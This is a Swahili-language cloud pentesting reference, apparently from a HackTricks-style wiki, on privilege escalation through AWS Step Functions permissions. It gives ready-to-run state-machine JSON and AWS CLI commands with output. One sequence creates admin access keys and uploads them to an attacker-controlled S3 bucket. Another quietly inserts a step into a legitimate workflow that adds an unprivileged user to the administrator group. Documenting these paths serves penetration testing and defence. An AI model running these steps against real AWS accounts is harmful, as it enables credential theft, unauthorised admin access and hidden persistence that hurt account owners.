AWS - Step Functions Privesc

Reading time: 8 minutes

Step Functions

Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia:

AWS - Step Functions Enum

Task Resources

Mbinu hizi za kupandisha hadhi zitahitaji kutumia baadhi ya rasilimali za AWS step function ili kutekeleza vitendo vya kupandisha hadhi vinavyotakiwa.

Ili kuangalia vitendo vyote vinavyowezekana, unaweza kwenda kwenye akaunti yako ya AWS kuchagua kitendo unachotaka kutumia na kuona vigezo vinavyotumika, kama katika:

Au unaweza pia kwenda kwenye hati za API AWS na kuangalia hati za kila kitendo:

• AddUserToGroup
• GetSecretValue

states:TestState & iam:PassRole

Mshambuliaji mwenye ruhusa za states:TestState & iam:PassRole anaweza kujaribu hali yoyote na kupitisha jukumu lolote la IAM bila kuunda au kuboresha mashine ya hali iliyopo, ambayo inaweza kuwezesha ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Pamoja, ruhusa hizi zinaweza kusababisha vitendo vingi visivyoidhinishwa, kutoka kwa kubadilisha michakato hadi kubadilisha data, uvunjaji wa data, usimamizi wa rasilimali, na kupandisha hadhi.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Mifano hii inaonyesha jinsi ya kujaribu hali inayounda ufunguo wa upatikanaji kwa mtumiaji admin kwa kutumia ruhusa hizi na jukumu lenye ruhusa nyingi katika mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu iliyounganishwa nayo (kwa mfano arn:aws:iam::aws:policy/AdministratorAccess) inayoruhusu hali hiyo kutekeleza kitendo cha iam:CreateAccessKey:

• stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}

• Amri iliyotekelezwa ili kufanya privesc:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Madhara Yanayoweza Kutokea: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Mshambuliaji mwenye states:CreateStateMachine & iam:PassRole angeweza kuunda mashine ya hali na kutoa jukumu lolote la IAM, kuruhusu ufikiaji usioidhinishwa kwa huduma nyingine za AWS kwa ruhusa za majukumu hayo. Tofauti na mbinu ya awali ya privesc (states:TestState & iam:PassRole), hii haitekelezi yenyewe, utahitaji pia kuwa na ruhusa za states:StartExecution au states:StartSyncExecution (states:StartSyncExecution haipatikani kwa mifumo ya kazi ya kawaida, ni kwa mashine za hali tu) ili kuanza na utekelezaji juu ya mashine ya hali.

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Mifano hii inaonyesha jinsi ya kuunda mashine ya hali inayounda funguo za ufikiaji kwa mtumiaji admin na kuhamasisha funguo hizi za ufikiaji kwenye kikasha cha S3 kinachodhibitiwa na mshambuliaji, ikitumia ruhusa hizi na jukumu lenye ruhusa nyingi la mazingira ya AWS. Jukumu hili lenye ruhusa nyingi linapaswa kuwa na sera yoyote yenye mamlaka ya juu inayohusishwa nayo (kwa mfano arn:aws:iam::aws:policy/AdministratorAccess) inayoruhusu mashine ya hali kufanya vitendo vya iam:CreateAccessKey & s3:putObject.

• stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}

• Amri iliyotekelezwa kuunda mashine ya hali:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}

• Amri iliyotekelezwa ku anzisha utekelezaji wa mashine ya hali iliyoundwa awali:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Athari Zinazoweza Kutokea: Utekelezaji usioidhinishwa na upotoshaji wa mifumo ya kazi na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama.

states:UpdateStateMachine & (sio kila wakati inahitajika) iam:PassRole

Mshambuliaji mwenye ruhusa ya states:UpdateStateMachine angeweza kubadilisha ufafanuzi wa mashine ya hali, akiwa na uwezo wa kuongeza hali za siri ambazo zinaweza kuishia katika kupandisha hadhi. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali, hali hii mpya ya siri itatekelezwa na kupandisha hadhi kutafanikiwa.

Kulingana na jinsi ruhusa ya IAM Role ilivyo, mshambuliaji angeweza kukutana na hali 2:

1. Ruhusa ya IAM Inayoruhusu: Ikiwa Ruhusa ya IAM iliyoambatanishwa na mashine ya hali tayari inaruhusu (ina mfano wa sera ya arn:aws:iam::aws:policy/AdministratorAccess iliyoambatanishwa), basi ruhusa ya iam:PassRole haitahitajika ili kupandisha hadhi kwani haitakuwa muhimu pia kubadilisha Ruhusa ya IAM, kwa kuwa ufafanuzi wa mashine ya hali unatosha.
2. Ruhusa ya IAM Isiyoruhusu: Kinyume na kesi ya awali, hapa mshambuliaji pia atahitaji ruhusa ya iam:PassRole kwani itakuwa muhimu kuunganisha Ruhusa ya IAM inayoruhusu na mashine ya hali pamoja na kubadilisha ufafanuzi wa mashine ya hali.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Mifano hii inaonyesha jinsi ya kuboresha mashine halali ya hali ambayo inaita kazi ya Lambda ya HelloWorld, ili kuongeza hali ya ziada ambayo inaongeza mtumiaji unprivilegedUser kwenye Kundi la IAM la administrator. Kwa njia hii, wakati mtumiaji halali anapoanza utekelezaji wa mashine ya hali iliyosasishwa, hali hii mpya ya siri itatekelezwa na kupandishwa vyeo kutafanikiwa.

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}

• Amri iliyotekelezwa ili kusasisha mashine halali ya hali:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Madhara Yanayoweza Kutokea: Utekelezaji usioidhinishwa na upotoshaji wa mchakato na ufikiaji wa rasilimali nyeti, ambayo inaweza kusababisha uvunjaji mkubwa wa usalama.